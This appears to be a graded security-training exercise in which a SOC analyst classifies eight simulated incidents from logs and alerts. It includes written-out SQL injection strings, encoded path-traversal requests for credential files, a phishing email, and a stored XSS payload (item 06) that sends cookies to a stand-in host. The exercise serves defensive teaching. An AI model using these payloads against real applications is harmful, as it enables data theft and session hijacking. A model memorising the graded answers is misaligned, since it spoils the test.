Attack Identification from Evidence
Scenario: You are a SOC analyst reviewing a batch of incidents flagged by
the SIEM, IDS, and end-user reports. Eight items have been escalated. For each piece of
evidence, identify the attack technique it most specifically describes. Read the indicators
carefully — the evidence is designed to point to one technique, not several.
Instructions: Use the dropdown on each card to classify the attack.
When all 8 are answered, click Submit for Grading.
All 8 must be correct to pass and earn completion credit.
Evidence Items
ITEM 01
Web Server Access Log — e-commerce application
192.168.4.22 - - [14/Jun/2026:08:43:11 -0400] "GET /product?id=1' OR '1'='1 HTTP/1.1" 200 4820 "-" "sqlmap/1.7#stable"
192.168.4.22 - - [14/Jun/2026:08:43:12 -0400] "GET /product?id=1' UNION SELECT username,password,NULL FROM users-- HTTP/1.1" 200 9012
192.168.4.22 - - [14/Jun/2026:08:43:13 -0400] "GET /product?id=1'; DROP TABLE sessions;-- HTTP/1.1" 500 312
192.168.4.22 - - [14/Jun/2026:08:43:14 -0400] "GET /product?id=1' AND SLEEP(5)-- HTTP/1.1" 200 4820 (response time: 5.02s)
ITEM 02
Active Directory Authentication Log — Domain Controller
Event ID 4625 — Failed logon (Kerberos pre-auth failure) [08:51:00 - 08:53:04]
Attempted password: "Summer2026!" (same across ALL attempts)
Unique usernames attempted: 412 (sampled below)
jsmith FAIL 08:51:00
mbrown FAIL 08:51:00
kwilliams FAIL 08:51:01
tgarcia FAIL 08:51:01
... (408 more unique accounts) ...
amorgan FAIL 08:52:58
Total failures in 2-minute window: 412
Account lockout triggered: 0 (lockout threshold: 5 per account)
ITEM 03
End-User Report — submitted via Help Desk ticket
From: IT Security Team <noreply@veridian-corp.com>
To: l.chen@veridian-corp.com
Subject: [URGENT] Password Expiration — Action Required Within 24 Hours
Dear Linda,
Your network password expires TODAY. To prevent loss of access, reset it
immediately at the link below:
https://veridian-financial.secure-login.ru/reset?u=lchen
This link expires in 24 hours. Failure to act will lock your account.
— IT Security Operations
Veridian Corporation
Header analysis: Return-Path: <bulk@mail4u-sends.xyz>
SPF: FAIL DKIM: FAIL DMARC: FAIL
Sending IP: 185.220.101.34 (TOR exit node, RU)
ITEM 04
Web Application Firewall Alert — WAF Rule 950103
ALERT WAF-950103 Path Traversal Attempt [14/Jun/2026 09:14:37]
Source IP : 203.0.113.88
Request : GET /uploads/files/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd HTTP/1.1
Decoded : GET /uploads/files/../../../../etc/passwd
Response : 403 Forbidden (WAF blocked)
Additional attempts in session (same source, 9:14:37 - 9:15:02):
GET /uploads/files/..%2F..%2F..%2Fetc%2Fshadow — BLOCKED
GET /uploads/files/....//....//....//etc/passwd — BLOCKED
GET /uploads/files/%252e%252e%252fetc%252fpasswd — BLOCKED (double-encoded)
GET /uploads/files/../../../proc/self/environ — BLOCKED
ITEM 05
NetFlow Summary — perimeter firewall, port 443 inbound
Flow window : 14/Jun/2026 09:55:00 — 09:55:60 (60 seconds)
Destination : 10.0.1.200:443 (public web server)
Protocol : TCP
Inbound SYN packets : 50,847 /sec
Unique source IPs : 8,214 (spanning AS blocks in 19 countries)
SYN-ACK replies sent: 50,847
ACK received back : 83 (0.16% completion rate — half-open sockets)
Server status : UNRESPONSIVE (CPU: 99%, connection table exhausted)
ISP upstream link : 940 Mbps / 1 Gbps (94% saturated)
Baseline (prior 30-day average): 42 SYN/sec from 38 unique IPs
ITEM 06
Application Database Record — product review table
-- review_comments table, product_id 4471, submitted 13/Jun/2026 23:41 --
reviewer : "Guest_7f3a"
rating : 5
comment : <script>document.location='https://evil.io/steal?c='+document.cookie;</script>
-- Impact observed (application logs, 14/Jun/2026 00:01 - 08:47) --
Output encoding : NONE (comment rendered as raw HTML to all page visitors)
Affected visits : 1,403 (each visitor's session cookie sent to attacker)
Content-Security-Policy header : NOT SET
HttpOnly flag on session cookie: NOT SET
ITEM 07
Managed Switch Log — Floor 2 distribution switch
DAI (Dynamic ARP Inspection) alert [14/Jun/2026 10:22:09]
VLAN 20 — gateway IP conflict detected
Gateway IP : 10.20.0.1
Legitimate MAC : 00:1A:2B:3C:4D:5E (Cisco ISR, port Gi1/0/24 — trusted uplink)
Conflicting MAC : B8:27:EB:A1:F9:02 (Raspberry Pi NIC, port Gi1/0/07 — untrusted access port)
ARP reply flood from B8:27:EB:A1:F9:02: 2,400 gratuitous ARP replies in 30 sec
ARP cache on 14 workstations: gateway now resolves to B8:27:EB:A1:F9:02
Wireshark on affected hosts: all outbound traffic now routing through 10.20.0.47
ITEM 08
Windows Security Event Log + Command Output — WS-FINANCE-04
Event ID 4728 [14/Jun/2026 11:03:44]
Subject : SYSTEM (process: svchost.exe PID 1884)
Action : A member was added to a security-enabled global group
Member : CN=jparker,OU=Finance,DC=veridian,DC=corp
Group : CN=Domain Admins,CN=Users,DC=veridian,DC=corp
-- Corroborating output captured from WS-FINANCE-04 at 11:03:51 --
C:\> whoami /priv
PRIVILEGES INFORMATION
SeDebugPrivilege Enabled
SeImpersonatePrivilege Enabled
SeLoadDriverPrivilege Enabled
-- Endpoint vulnerability scan (prior scan: 09:00) --
CVE-2021-34527 (PrintNightmare) patch status on WS-FINANCE-04: MISSING
Process tree : jparker.exe → spoolsv.exe → cmd.exe (SYSTEM)
Verification
Classify all 8 evidence items correctly to earn completion credit. All 8 must be correct — partial answers do not pass.
0/8
evidence items correctly classified